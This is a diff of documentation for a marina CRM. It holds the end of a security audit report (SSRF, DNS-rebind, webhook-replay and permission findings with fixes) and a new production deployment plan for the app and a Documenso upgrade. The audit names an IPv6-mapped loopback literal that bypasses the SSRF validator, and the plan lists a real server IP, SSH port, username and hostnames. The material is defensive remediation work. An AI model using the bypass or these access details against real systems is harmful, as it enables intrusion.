(a) a socket connecting with no `auth.portId` is allowed (joins no `port:` room) but can still `join:entity` — safely gated by `userCanJoinEntity`'s DB lookup, so no leak; (b) `join:entity` trusts the TS union and doesn't zod/allow-list `{type,id}` — fails closed today (`entityPortId=null` → false) but is an untyped trust boundary; (c) `connectionStateRecovery` restores prior rooms on reconnect but re-runs middleware (cookie re-validated), so revoked sessions are rejected — only residual is a ≤2-min window retaining an old room mid-disconnect. _(Bundled defense-in-depth nits.)_
|
||||||
|
**Fix:** Reject port-less connections or document them; add `z.enum(['berth','client','interest'])`+uuid validation at the handler top. **Confidence: 0.6–0.72**
|
||||||
|
|
||||||
|
#### L21 — Rate-limiter sliding window admits `max + 1` requests (off-by-one) `[needs-confirm]`
|
||||||
|
|
||||||
|
`src/lib/rate-limit.ts:48,52`
|
||||||
|
`zadd` records before `zcard` counts and `allowed: count <= config.max`, so the limiter admits `max+1` per window. Lane reasoning is self-contradicting in the report; flagged `[needs-confirm]`. Affects every limiter uniformly, minor.
|
||||||
|
**Fix:** `count < config.max` after the add, or `zcard` before `zadd`. **Confidence: 0.75**
|
||||||
|
|
||||||
|
#### L22 — Brochure presign omits `portSlug`, skipping the proxy port-binding (`p`) token field
|
||||||
|
|
||||||
|
`src/app/api/v1/admin/brochures/[id]/versions/route.ts:31-34`
|
||||||
|
Berth-PDF presign passes `portSlug` (engaging the `p`-binding check); brochure presign doesn't, so brochure tokens skip the port-namespace assertion. Defense-in-depth only (`validateStorageKey` already blocks traversal; `generateBrochureStorageKey` is server-controlled).
|
||||||
|
**Fix:** Pass `portSlug` in the brochure presign opts. **Confidence: 0.9**
|
||||||
|
|
||||||
|
#### L23 — Divergent permission catalogs (roles validator vs override allow-list)
|
||||||
|
|
||||||
|
`src/lib/validators/roles.ts:5-18` vs `permission-overrides/route.ts:37-85`
|
||||||
|
`rolePermissionsSchema` uses `z.record(z.string(), z.boolean())` (accepts arbitrary action keys) and is missing resources the override `ALLOWED_RESOURCE_ACTIONS` includes (`yachts`, `companies`, `memberships`, `tenancies`, `residential_*`, `document_templates`). Super-admin-gated, so inert leaves only pollute the matrix/audit diffs.
|
||||||
|
**Fix:** Unify into one source of truth. **Confidence: 0.6**
|
||||||
|
|
||||||
|
#### L24 — Deposit gate has no lower-bound re-lock after a refund; float-summed `>=` boundary
|
||||||
|
|
||||||
|
`src/lib/services/payments.service.ts:132` + `getDepositTotalForInterest`
|
||||||
|
With `toFixed(2)` masking most float-boundary cases, the residual issue is no idempotency/lower-bound guard: a deposit that trips the gate (berth Sold, `dateDepositReceived` stamped) followed by a refund that drops net below expected leaves the stage advanced and the berth Sold. Compounded by H12 where refunds may not even subtract in some readers.
|
||||||
|
**Fix:** Round both sides to cents before compare; on refund recompute the gate condition and reverse/flag the stage/berth state when net drops below expected. **Confidence: 0.7**
|
||||||
|
|
||||||
|
#### L25 — Missing-rate / stale-rate FX handling silently adds unconverted foreign amounts
|
||||||
|
|
||||||
|
`src/lib/services/currency.ts:8-14` + `src/lib/services/reports/currency.ts:31`
|
||||||
|
`getRate` returns null for unknown pairs and `normalizeAmount` falls back to `?? amount`, adding an unconverted foreign amount straight into the port-currency total (5000 JMD added as literal 5000 to a EUR total). No max-age check on `currencyRates.fetchedAt`; `refreshRates` swallows all errors (`:71`), so a months-stale rate is used silently.
|
||||||
|
**Fix:** Surface a "could not normalize" flag in the report payload when `convert` returns null; reject rates older than a threshold; don't swallow `refreshRates` failures. **Confidence: 0.65**
|
||||||
|
|
||||||
|
#### L26 — `companyNotes` create-response overwrites real `updatedAt` with `createdAt`; stale doc + dead defensive code
|
||||||
|
|
||||||
|
`src/lib/services/notes.service.ts:932` (+ `src/lib/db/schema/companies.ts:131`)
|
||||||
|
The schema now defines a real `companyNotes.updatedAt`, contradicting the documented "lacks updatedAt" contract. The create path still substitutes `createdAt` while `update()` and the aggregator read the real column — so the create response's `updatedAt` differs from a subsequent read. Cosmetic.
|
||||||
|
**Fix:** Drop the `updatedAt: note.createdAt` override; update CLAUDE.md. **Confidence: 0.7**
|
||||||
|
|
||||||
|
#### L27 — Two junction-insert paths bypass the cross-port guard in `upsertInterestBerthTx`
|
||||||
|
|
||||||
|
`src/lib/services/public-interest.service.ts:237` & `src/lib/services/client-restore.service.ts:380`
|
||||||
|
`upsertInterestBerthTx` asserts `interest.portId === berth.portId`; the two raw inserts skip it. Both currently resolve `berthId` from a port-scoped lookup in the same tx, so it's defense-in-depth, not currently exploitable — but a future resolver edit loses the guard. Folds into M20's fix (use the service).
|
||||||
|
**Fix:** Route both through `upsertInterestBerthTx`. **Confidence: 0.6**
|
||||||
|
|
||||||
|
_(Additional LOW-tier items from pass 1+2 carried below; the IPv6-SSRF, TOCTOU-rebind, redeliver-replay, pending-on-active-berth, tenancy socket/saveStages, import header-mapping, API-envelope, and import-port-trust clusters are renumbered L28–L35 to keep all distinct findings.)_
|
||||||
|
|
||||||
|
#### L28 — IPv6-mapped-IPv4 SSRF branch is dead code; static validator accepts `[::ffff:127.0.0.1]` etc.
|
||||||
|
|
||||||
|
`src/lib/validators/webhooks.ts:56-60`
|
||||||
|
The `::ffff:` handler expects a dotted-quad tail but Node normalizes the hostname to hex (`[::ffff:7f00:1]`), so `isBlockedIpv4` never matches → not blocked. The create/update validator accepts loopback/IMDS/RFC1918 mapped literals. Currently downgraded to LOW because the worker's `resolveAndCheckHost` throws `ENOTFOUND` on the bracketed literal — but for the wrong reason (DNS failure, not range detection); any future bracket-strip-before-lookup or undici change re-opens it. No test covers this form.
|
||||||
|
**Fix:** Parse the IPv6 hostname properly (reconstruct from hextets or use `net.isIP` + a real IPv6 range library) and block `::ffff:` mapped ranges by hex encoding. **Confidence: 0.9**
|
||||||
|
|
||||||
|
#### L29 — TOCTOU between validation `lookup()` and `fetch()`'s independent re-resolution (residual DNS rebind)
|
||||||
|
|
||||||
|
`src/lib/queue/workers/webhooks.ts:18-45` vs `:224`
|
||||||
|
`resolveAndCheckHost` checks resolved IPs but `fetch` re-resolves the hostname; the validated IP is not pinned, leaving a short-TTL rebind window. Lower priority than H1 (redirect is the easier path to the same target).
|
||||||
|
**Fix:** Resolve once and pin the address (custom undici Agent with fixed `lookup`, or connect by IP with Host/SNI preserved); reject if the connected peer IP is private. **Confidence: 0.7**
|
||||||
|
|
||||||
|
#### L30 — Redeliver re-signs stale captured payload with a fresh timestamp; transport-freshness checks can be defeated
|
||||||
|
|
||||||
|
`src/lib/queue/workers/webhooks.ts:69` + `src/lib/services/webhooks.service.ts:312-316`
|
||||||
|
Redeliver clones `source.payload` and the worker regenerates `id`/timestamp at send (`:142-149`) while `data` stays stale — so a replay carries a fresh signature + fresh `X-Webhook-Timestamp` over old data, and the delivery id changes per redeliver. A receiver relying solely on transport timestamp/delivery-id freshness accepts arbitrarily old event data as fresh. Semantics/documentation gap.
|
||||||
|
**Fix:** Document that redeliver intentionally re-signs stale data; surface the original event time inside `data` for business-level freshness checks. **Confidence: 0.6**
|
||||||
|
|
||||||
|
#### L31 — `createPending` allows unlimited pending rows on an already-active berth (dead-end UX)
|
||||||
|
|
||||||
|
`src/lib/services/berth-tenancies.service.ts:93-179`
|
||||||
|
`createPending` never consults active-tenancy state; the partial unique index only covers `active`, so any number of `pending` rows insert on a fully-occupied berth and all `ConflictError` one-at-a-time at activate. No data corruption; confusing UX and dashboard noise.
|
||||||
|
**Fix:** Query for an existing active tenancy in `createPending` and warn/soft-block or surface it in the create response. **Confidence: 0.78**
|
||||||
|
|
||||||
|
#### L32 — Tenancy cluster: wrong socket event + non-transactional `saveStages` _(two minor items)_
|
||||||
|
|
||||||
|
`src/lib/services/berth-tenancies.service.ts:401-404` and `src/lib/services/residential-stages.service.ts:91-167`
|
||||||
|
(a) `updateTenancy` emits `berth_tenancy:activated` for a metadata-only edit, causing false "activated" toasts/cache invalidations on clients — fix: emit `:updated` (conf 0.9). (b) `saveStages` runs reassignment UPDATEs and the stage-list UPSERT as separate top-level `db` calls despite a docstring claiming one transaction; a crash between them leaves interests reassigned but the stage list unsaved — fix: wrap both in `db.transaction` or correct the docstring (conf 0.83).
|
||||||
|
**Confidence: 0.83–0.9**
|
||||||
|
|
||||||
|
#### L33 — Import substring header auto-mapping can mis-map fields; berth mooring regex laxer than canonical _(two minor items)_
|
||||||
|
|
||||||
|
`src/lib/import/mapping.ts:53` and `src/lib/import/adapters/berths.ts:12-14,31`
|
||||||
|
(a) `c.includes(h.n) || h.n.includes(c)` scores any substring relationship as a near-exact match, so "Billing Email" can auto-map to client `email` and "Company Name" to `name`; a careless confirm imports into the wrong column at scale — fix: surface score-1 substring matches as "review" not pre-selected, or use whole-token boundaries (conf 0.6). (b) `canonMoo` zod regex `^[A-Za-z]+-?0*\d+$` is laxer than the documented canonical `^[A-Z]+\d+$` and `parseInt` loses precision past `MAX_SAFE_INTEGER`; dedup stays self-consistent so no duplicate/cross-tenant risk — fix: align the regex, reject absurd numeric lengths (conf 0.55).
|
||||||
|
**Confidence: 0.55–0.6**
|
||||||
|
|
||||||
|
#### L34 — API envelope / auth-surface inconsistency cluster _(pass-1, confirmed)_
|
||||||
|
|
||||||
|
Multiple files
|
||||||
|
`me/email` returns 3 shapes; no-content mutations return `{ok:true}` instead of `204`; `dashboard`/`notifications`/`search` GETs return bare shapes; inline 400s bypass `errorResponse`; public intake POSTs use bespoke shapes; portal login reads `?next=` but proxy sets `?redirect=`; scanner layout lacks a membership check; module-gate layouts fail-open on an unresolved slug.
|
||||||
|
**Fix:** Normalize to the `{ data }` envelope per CLAUDE.md; route 400s through `errorResponse`; align `?next=`/`?redirect=`; add the scanner membership check; fail-closed on unresolved slug. **Confidence: high (confirmed)**
|
||||||
|
|
||||||
|
#### L35 — Import port-authorization trust boundary is unguarded (latent) `[needs-confirm]`
|
||||||
|
|
||||||
|
`src/lib/import/types.ts:46-49` + `src/lib/queue/workers/import.ts:71-78`
|
||||||
|
`portId` is taken from `batch.portId` and trusted. Correct today because every service call stamps `portId` from `ctx` and there is no API layer enqueuing the engine — but when the commit/dry-run route lands it MUST re-derive `portId` from the session and assert `batch.portId === session.portId`, and gate on an `import` permission (none is checked anywhere in the engine path today). Flagged for the route author.
|
||||||
|
**Confidence: 0.75**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Unified Lane Coverage Table
|
||||||
|
|
||||||
|
All 17 lanes, with the pass where each completed and its finding counts (C/H/M/L) as mapped into the unified numbering.
|
||||||
|
|
||||||
|
| # | Lane | Completed in | Status | Findings (C/H/M/L) | Top risk (unified ref) |
|
||||||
|
| --- | ------------------------------------------- | --------------------------- | --------- | ------------------- | ----------------------------------------------------------------------- |
|
||||||
|
| 1 | Financial money-math | Pass 1+2 | Complete | 1/1/1/2 | C1 cross-currency deposit gate auto-marks berths Sold |
|
||||||
|
| 2 | Sales pipeline state machine | Pass 3 | Complete | (→C2) /3/3/2 | C2 lost/cancelled deal auto-flips berth to Sold |
|
||||||
|
| 3 | Cross-entity ownership / schema drift | Pass 1+2 | Complete | 0/1/1/2 | H5 archive/restore falsifies ownership-history ledger |
|
||||||
|
| 4 | Background worker tenant isolation | Pass 3 | Complete | 0/1/2/3 | H11 attacker-controlled `coverBrandPortId` brand-kit leak |
|
||||||
|
| 5 | Socket.IO realtime authorization | Pass 3 | Complete | 0/0/2/3 | M10 deactivated users keep receiving all port broadcasts |
|
||||||
|
| 6 | AI subsystem spend cap + prompt injection | Pass 3 | Complete | (→C2 shared) /1/0/2 | H9 email-draft spends OpenAI tokens, no rate limit/budget |
|
||||||
|
| 7 | Destructive client lifecycle + GDPR cascade | Pass 3 | Complete | 0/2/2/2 | H2/H3 merge skips payments/ownership → cascade-delete loss |
|
||||||
|
| 8 | Storage proxy, presign & file validation | Pass 3 (pass-1 M24 partial) | Complete | 0/0/4/2 | M18 single-use token bricks emailed URLs on transient fail |
|
||||||
|
| 9 | CSV/bulk import engine | Pass 1+2 | Complete | 0/1/3/3 | H10 CSV formula injection in expense + audit exports |
|
||||||
|
| 10 | Email engine internals | Pass 3 | Complete | 0/0/1/3 | M8 bounce poller port-blind → cross-tenant misattribution |
|
||||||
|
| 11 | Outbound webhook SSRF + delivery integrity | Pass 1+2 | Complete | 0/1/3/2 | H1 fetch follows redirects, defeating SSRF allowlist |
|
||||||
|
| 12 | Report/PDF correctness + per-port filtering | Pass 3 | Complete | 0/1/4/2 | H6 title-case berth status → 0 sold / understated occupancy |
|
||||||
|
| 13 | Residential + tenancies logic | Pass 1+2 | Complete | 1/2/3/2 | C3 residential module-disabled never enforced on v1 API |
|
||||||
|
| 14 | Berth rules / recommender / public status | Pass 3 | Complete | (→C2 shared) /0/2/1 | C2 lost/cancelled deals auto-flip berths Sold (public site) |
|
||||||
|
| 15 | Permissions model + rate-limit coverage | Pass 3 | Complete | 0/2/3/2 | H8 `residentialAccess` toggle bypasses caller-superset |
|
||||||
|
| 16 | React components/hooks + UI/UX | Pass 3 | Complete | 0/3/4/2 | H7 residential notes fully broken (wrong NotesList API URL) |
|
||||||
|
| 17 | Documenso e-sign integration | Pass 3 | Complete | 0/0/1/2 | L11 v2 null `numericId` → dropped completion webhooks `[needs-confirm]` |
|
||||||
|
| — | Pass-1 routing/API confirmation set | Pass 1 | Folded in | C4 + M24 + L34 | C4 tracked `/q/` links dead in all outbound mail |
|
||||||
|
|
||||||
|
**Coverage note:** All 17 lanes plus the pass-1 routing/API set are now covered — the 11 lanes rate-limited in pass 1+2 were successfully re-run in pass 3. Lane-level C/H/M/L counts above are indicative (they reflect each lane's pre-merge contribution; the cross-pass and within-pass merges mean the unified totals are not a simple column sum). Parenthetical `(→Cn)` marks a lane whose top finding was merged with another lane's.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Cross-Pass Dedupe Notes
|
||||||
|
|
||||||
|
Every merge made while consolidating the two passes:
|
||||||
|
|
||||||
|
1. **CROSS-PASS (required) — Cross-currency deposit gate.** Pass 1+2 **C1** (cross-currency deposit gate auto-marks berths Sold) and pass 3 **H3** (deposit auto-advance is currency-blind) are the **same bug** (`payments.service.ts` deposit-met gate summing across currencies and comparing against a single-currency expectation). Merged into unified **C1 (CRITICAL)**, combining detail from both (the FX-summation mechanics from pass 1+2, the schema column refs `interests.ts:64-65` and the auto-advance/`deposit_received`-rule chain from both). Counted once.
|
||||||
|
|
||||||
|
2. **Within pass 3 — Lost/cancelled → Sold.** Pass 3 **C1** was itself a merge of the Sales-pipeline lane and the Berth-subsystem lane (same `setInterestOutcome` → `interest_completed` → `sold` root cause). Preserved as unified **C2 (CRITICAL)**; no further action — recorded for traceability.
|
||||||
|
|
||||||
|
3. **Within pass 3 — AI token spend.** Pass 3 **H12** (AI rate-limit missing, spanning the AI-subsystem and permissions/rate-limit lanes) and pass 3 **H13** (AI email-draft budget gate missing) are two facets of the same unprotected token-spend surface on `ai/email-draft`. Merged into unified **H9**, carrying both confidences (0.9 rate-limit / 0.97 budget) and both fixes. Net reduction of one HIGH versus a naive sum.
|
||||||
|
|
||||||
|
4. **Within pass 3 — `coverBrandPortId` brand-kit leak.** Pass 3 **H6** was already a merge (worker-isolation lane HIGH + report-correctness lane LOW), kept at HIGH. Carried to unified **H11** unchanged.
|
||||||
|
|
||||||
|
5. **Within pass 3 — Bounce poller port-blindness.** Pass 3 **M8** was already a merge (worker-isolation lane + email-engine lane). Carried to unified **M8** unchanged.
|
||||||
|
|
||||||
|
6. **Within-pass bundles preserved (not re-split):** pass 3 **L18** (3 decorative-emoji sites), **L16** (3 email/bounce nits), **L17** (3 storage nits), **L20** (3 socket defense-in-depth nits); pass 1+2 **L9/L10/L32/L33** (paired tenancy and import items). These remain bundled exactly as the source docs intended (each is one rule/theme with sub-items), now at L18/L16/L17/L20 and L32/L33 respectively.
|
||||||
|
|
||||||
|
7. **Severity reconciliations carried over (no merge, recorded):** pass 3 demoted L3 (recommender stage-scale) HIGH→LOW `[needs-confirm]` and L11 (Documenso null `numericId`) HIGH→LOW `[needs-confirm]`; both retained at LOW in the unified doc. `[needs-confirm]` tags preserved on unified **L3, L6, L11, L21, L35**.
|
||||||
|
|
||||||
|
8. **No other cross-pass duplicates found.** Notably distinct (checked, NOT merged): unified **C1** (deposit currency math) vs **C2** (outcome-blind rule) — both touch the berth-rules engine but have different root causes; pass-1+2 **H3 refund-sign** (unified **H12**) vs pass-3 currency bug (unified **C1**) — different defects in the same service file; unified **L24** (deposit refund lower-bound re-lock) is a distinct idempotency concern adjacent to C1, kept separate as the source docs did.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Final tally — distinct findings in this unified report
|
||||||
|
|
||||||
|
| Severity | Distinct count |
|
||||||
|
| --------- | ------------------------------ |
|
||||||
|
| CRITICAL | 4 |
|
||||||
|
| HIGH | 17 |
|
||||||
|
| MEDIUM | 29 |
|
||||||
|
| LOW | 35 (incl. 5 `[needs-confirm]`) |
|
||||||
|
| **Total** | **85** |
|
||||||
|
|
||||||
|
_Derivation: union of the actual numbered entries — pass 1+2 (32: C3/H6/M11/L12) + pass 3 (55: C1/H13/M18/L23) = 87 — minus the cross-pass deposit-currency duplicate (pass1+2 C1 ≡ pass3 H3) and the within-pass-3 AI rate-limit + budget merge (pass3 H12 + H13) = **85 distinct findings**. Both removed entries were in the HIGH tier of their source; the merged deposit-currency finding is retained at CRITICAL (C1)._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Remediation status — COMPLETE (2026-06-02)
|
||||||
|
|
||||||
|
All 85 findings addressed across 28 `fix(audit)` commits on
|
||||||
|
`feat/residential-toggle-and-reports-comparison`. Every commit is
|
||||||
|
tsc-clean through the pre-commit hook; **1103/1103 unit tests pass** and
|
||||||
|
the full suite was re-run green after each tier.
|
||||||
|
|
||||||
|
- **CRITICAL (4):** all fixed (C1 currency-deposit gate, C2 outcome→berth,
|
||||||
|
C3 residential API gate, C4 `/q/` allowlist).
|
||||||
|
- **HIGH (17):** all fixed.
|
||||||
|
- **MEDIUM (29):** all fixed.
|
||||||
|
- **LOW (35):** 34 fixed; **L21** verified a FALSE POSITIVE (the sliding
|
||||||
|
window admits exactly `max`, not `max+1`) — no change needed.
|
||||||
|
|
||||||
|
`[needs-confirm]` resolutions: L3 (recommender stage-scale) = REAL, fixed.
|
||||||
|
L11 (Documenso v2 numericId) = REAL, fixed with GET fallback. L6 (scheduler
|
||||||
|
multi-replica) = fixed with atomic claim. L21 = false positive. L35 (import
|
||||||
|
port-auth) = latent, documented for the future commit route.
|
||||||
|
|
||||||
|
### Deferred (code shipped; DB-schema migration outstanding)
|
||||||
|
|
||||||
|
Two findings have their application-code fix shipped but a DB-schema change
|
||||||
|
intentionally deferred (each needs a generated migration applied via psql +
|
||||||
|
a `next dev` restart, which requires the live DB):
|
||||||
|
|
||||||
|
- **M25** — `client_contacts` per-port partial-unique index on
|
||||||
|
`lower(value) WHERE channel='email'` (+ a `port_id` column/backfill/stamp
|
||||||
|
trigger). The in-file dedup (preview accuracy) shipped.
|
||||||
|
- **M23** — tightening invoice `numeric` columns to `numeric(12,2)`. The
|
||||||
|
money-rounding + `0%`-discount code fix shipped.
|
||||||
|
|
||||||
|
### Stale-doc follow-ups noted by fix agents (not code bugs)
|
||||||
|
|
||||||
|
- CLAUDE.md references `src/middleware.ts` (renamed to `src/proxy.ts` in
|
||||||
|
Next 16) and still says "companyNotes lacks updatedAt" (now has one).
|
||||||
|
- `src/lib/db/schema/clients.ts:55` comment references an "unmerge flow"
|
||||||
|
that does not exist (M6 corrected the service docstrings).
|
||||||
238
docs/deployment-plan.md
Normal file
238
docs/deployment-plan.md
Normal file
@@ -0,0 +1,238 @@
|
|||||||
|
# Production Deployment Plan — Port Nimara CRM
|
||||||
|
|
||||||
|
> **Status:** DRAFT · pre-deployment · 2026-05-31
|
||||||
|
> **Target:** `https://crm.portnimara.com` on the PN Cloud server.
|
||||||
|
> **Companion:** `docs/launch-readiness.md` (Initiative 5 — cutover).
|
||||||
|
> Credentials live in `private/deployment-creds.md` (gitignored) — **never
|
||||||
|
> put secrets in this file.**
|
||||||
|
|
||||||
|
## ⛔ Guardrails (non-negotiable)
|
||||||
|
|
||||||
|
1. **No change to anything on the prod server without Matt's explicit
|
||||||
|
per-action approval.** Recon/reads are fine; every `sudo`, every file
|
||||||
|
write, every `docker` mutation, every `certbot` run is approved
|
||||||
|
individually before it runs.
|
||||||
|
2. **Documenso is VITAL.** It has broken on past upgrades. Nothing touches
|
||||||
|
the Documenso DB, volumes, or container until a verified backup +
|
||||||
|
S3↔DB reconciliation exists AND the upgrade step is explicitly approved.
|
||||||
|
3. Work one phase at a time; verify before moving on. Keep a rollback for
|
||||||
|
each mutating step.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Access (established 2026-05-31)
|
||||||
|
|
||||||
|
| What | Detail | Verified |
|
||||||
|
| ---------------------- | ---------------------------------------------------------------------------------------- | ------------------------------------ |
|
||||||
|
| **Prod server (SSH)** | `45.142.177.246:22022`, user `stefan`, key `id_ed25519_2026` (macOS keychain) | ✅ connected, key auth |
|
||||||
|
| **Gitea API** | `https://code.letsbe.solutions` as `matt` (admin) — reads build status, warnings, errors | ✅ v1.25.5, repo `letsbe/pn-new-crm` |
|
||||||
|
| **Container registry** | `code.letsbe.solutions/letsbe/pn-new-crm/{crm-app,crm-worker}` | ✅ CI pushes `:latest` + `:<sha>` |
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
|
||||||
|
- `stefan` is **unprivileged** (uid 1000, not in the `docker` group; `sudo`
|
||||||
|
prompts for a password). Every `docker` / `nginx` / `certbot` / cert-read
|
||||||
|
step needs `sudo` (root pass in `private/deployment-creds.md` — **VERIFY**;
|
||||||
|
the per-server creds file had MOPC's pass by mistake).
|
||||||
|
- Reading build logs: `GET /api/v1/repos/letsbe/pn-new-crm/actions/tasks`
|
||||||
|
(run status) + per-job logs; latest `main` build is **success**.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## How builds reach prod
|
||||||
|
|
||||||
|
`git push origin main` → Gitea Actions `.gitea/workflows/build.yml`:
|
||||||
|
|
||||||
|
1. **lint** job: `pnpm lint` + `pnpm exec tsc --noEmit`.
|
||||||
|
2. **build-and-push** job (main only): builds `Dockerfile` → `crm-app` and
|
||||||
|
`Dockerfile.worker` → `crm-worker`, pushes `:latest` + `:<sha>` to the
|
||||||
|
Gitea registry.
|
||||||
|
|
||||||
|
Prod **pulls** those images — it does not build. So a deploy is:
|
||||||
|
push → wait for green CI → `docker compose pull` + `up -d` on the server.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Prod stack (`docker-compose.prod.yml`)
|
||||||
|
|
||||||
|
| Service | Image | Notes |
|
||||||
|
| ------------ | ---------------------------- | --------------------------------------------------------------- |
|
||||||
|
| `postgres` | `postgres:16-alpine` | self-contained, volume `pgdata` |
|
||||||
|
| `redis` | `redis:7-alpine` | self-contained, volume `redisdata` (BullMQ + socket.io adapter) |
|
||||||
|
| `crm-app` | registry `crm-app:latest` | **host `7100` → container `3000`** |
|
||||||
|
| `crm-worker` | registry `crm-worker:latest` | BullMQ worker |
|
||||||
|
|
||||||
|
- **Storage:** no MinIO service in the compose — the CRM uses **external
|
||||||
|
MinIO** via `system_settings.storage_backend` + `getStorageBackend()`.
|
||||||
|
The existing prod MinIO (`:9000`, `s3.conf` / `minio.conf` nginx vhosts)
|
||||||
|
is the backend. Confirm bucket + keys (creds file §3).
|
||||||
|
- **Decision needed:** does the CRM get its **own** Postgres (the compose
|
||||||
|
default, isolated `pgdata`) or reuse an existing prod Postgres instance?
|
||||||
|
Default = the compose's own Postgres (cleanest isolation). Confirm.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Phase 1 — `crm.portnimara.com` go-live
|
||||||
|
|
||||||
|
DNS already points `crm.portnimara.com` at the server. No `crm.portnimara`
|
||||||
|
nginx vhost exists yet (fresh setup). Template: `portnimara_dev.conf`
|
||||||
|
(reverse-proxy + Certbot pattern already in use on this box).
|
||||||
|
|
||||||
|
### Pre-flight (no approval needed — prep only)
|
||||||
|
|
||||||
|
- [ ] Assemble the prod `.env` for the CRM. Source of truth: `src/lib/env.ts`
|
||||||
|
(Zod schema) + `.env.example`. Critical keys:
|
||||||
|
- `APP_URL=https://crm.portnimara.com`
|
||||||
|
- `DATABASE_URL` (compose Postgres), `REDIS_*`
|
||||||
|
- storage / MinIO (endpoint, access/secret, bucket) — creds file §3
|
||||||
|
- `DOCUMENSO_API_URL` (bare host, no `/api/v1`), `DOCUMENSO_API_VERSION`, API key
|
||||||
|
- better-auth secret, `WEBSITE_INTAKE_SECRET`, SMTP/IMAP
|
||||||
|
- **`EMAIL_REDIRECT_TO` MUST be unset in prod.**
|
||||||
|
- [ ] Server can pull from the registry: `docker login code.letsbe.solutions`
|
||||||
|
with a registry token (creds file §2 — generate a Gitea token; do
|
||||||
|
**not** bake the account password into the server).
|
||||||
|
|
||||||
|
### Step 1 — nginx vhost (⚠ approval)
|
||||||
|
|
||||||
|
1. Create `/etc/nginx/sites-available/crm_portnimara.conf` modelled on
|
||||||
|
`portnimara_dev.conf`: port-80 → 443 redirect + `.well-known/acme-challenge`
|
||||||
|
location; port-443 server `proxy_pass http://127.0.0.1:7100` with the same
|
||||||
|
header block (Host, X-Real-IP, CF-Connecting-IP, X-Forwarded-_, websocket
|
||||||
|
`Upgrade`/`Connection` for socket.io), `client_max_body_size 64M`,
|
||||||
|
`proxy_read_timeout 300`, buffering off. **HTTP-only first** (no `ssl\__`
|
||||||
|
lines yet) so Certbot can complete the challenge.
|
||||||
|
2. Symlink into `sites-enabled/`.
|
||||||
|
3. `sudo nginx -t` — must pass. Then `sudo systemctl reload nginx`.
|
||||||
|
|
||||||
|
### Step 2 — TLS cert (⚠ approval)
|
||||||
|
|
||||||
|
- `sudo certbot --nginx -d crm.portnimara.com` — pulls + installs the cert,
|
||||||
|
rewrites the vhost with the managed `ssl_certificate` lines + 80→443
|
||||||
|
redirect. Re-run `sudo nginx -t` + reload.
|
||||||
|
|
||||||
|
### Step 3 — bring up the container (⚠ approval)
|
||||||
|
|
||||||
|
1. Place `docker-compose.prod.yml` + the prod `.env` in the deploy dir
|
||||||
|
(e.g. `/opt/pn-crm` — confirm location).
|
||||||
|
2. `sudo docker login code.letsbe.solutions` (registry token).
|
||||||
|
3. `sudo docker compose -f docker-compose.prod.yml pull`.
|
||||||
|
4. `sudo docker compose -f docker-compose.prod.yml up -d`.
|
||||||
|
5. **Watch for errors:** `sudo docker compose logs -f crm-app crm-worker`.
|
||||||
|
6. Apply schema: migrations via `psql` (per CLAUDE.md `db:migrate` is broken)
|
||||||
|
or the app's push path — confirm the prod migration approach.
|
||||||
|
7. Seed/bootstrap the port + admin user as needed.
|
||||||
|
|
||||||
|
### Verify
|
||||||
|
|
||||||
|
- [ ] `curl -fsS https://crm.portnimara.com/api/public/health` → `{status:"ok"...}`
|
||||||
|
- [ ] Authenticated health w/ `X-Intake-Secret` → `{checks:{db,redis}}`
|
||||||
|
- [ ] Login loads, branding renders, a berth list + a deal render.
|
||||||
|
- [ ] socket.io realtime connects (websocket upgrade through nginx works).
|
||||||
|
- [ ] No `42703` column errors (restart `crm-app` after any schema change).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Phase 2 — Documenso v1.13.1 → v2.x upgrade (VITAL — execute SOBER, heavily gated)
|
||||||
|
|
||||||
|
> **Do not execute while impaired.** This is the production signing system.
|
||||||
|
> Every mutating step needs an explicit, sober go/no-go. The runbook below is
|
||||||
|
> reference; the actual run is a scheduled session.
|
||||||
|
|
||||||
|
### Verified facts (2026-05-31 recon + research)
|
||||||
|
|
||||||
|
| Item | Value |
|
||||||
|
| --------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| Current version | `documenso/documenso:v1.13.1` (Oct 2025 — last v1) |
|
||||||
|
| Latest version | **`v2.11.0`** (May 2026). Path: 1.13.1 → 2.0.0 → … → 2.11.0 (major jump) |
|
||||||
|
| Compose | `/root/docker-compose/documenso/docker-compose.yml` (project `documenso-production`, services `documenso` + `database`) |
|
||||||
|
| DB | `postgres:15`, db `documenso_db`, user `admin`, vol `documenso-production_documenso-database` → `/var/lib/postgresql/data` |
|
||||||
|
| App port | container `3000` → host `3020`; served at `https://signatures.portnimara.dev` (nginx `documenso.conf`, direct — **no Cloudflare**) |
|
||||||
|
| Storage | external MinIO, bucket `signatures` @ `s3.portnimara.com`, region `eu-central-1` |
|
||||||
|
| Signing cert | `/opt/documenso/certificate.p12` (+ passphrase in env) |
|
||||||
|
|
||||||
|
**Research conclusions (sources in chat):**
|
||||||
|
|
||||||
|
- **v1 API survives in v2** — _"API V1 is stable but deprecated; nothing breaks."_ So the CRM keeps working on v1 API; flip to v2 later. (Will be **explicitly re-tested against the clone in Phase 0** before committing.)
|
||||||
|
- **Postgres 15 is v2's official DB** — no DB-engine upgrade needed.
|
||||||
|
- **Env vars carry over unchanged**; only `NEXTAUTH_URL` is dropped in v2 (auth now derives from `NEXT_PUBLIC_WEBAPP_URL`, already set correctly) — harmless leftover.
|
||||||
|
- Upgrade = pull new image + restart; `prisma migrate deploy` auto-runs all pending migrations on startup.
|
||||||
|
- **Known migration-failure history** (issue #1880: NOT-NULL column added without backfill). 1.13.1 is past that one, but it's the failure pattern to expect — hence the clone dry-run.
|
||||||
|
- The login bounce (non-`Secure` cookie / `NEXTAUTH_URL` quirk) is plausibly fixed in v2's reworked auth, but treat that as a hoped-for bonus, not the goal.
|
||||||
|
|
||||||
|
### Locked decisions (per Matt, 2026-05-31)
|
||||||
|
|
||||||
|
- Dry-run on a clone first: **yes**. Target **latest v2.11.0**, staged through v2.0.0.
|
||||||
|
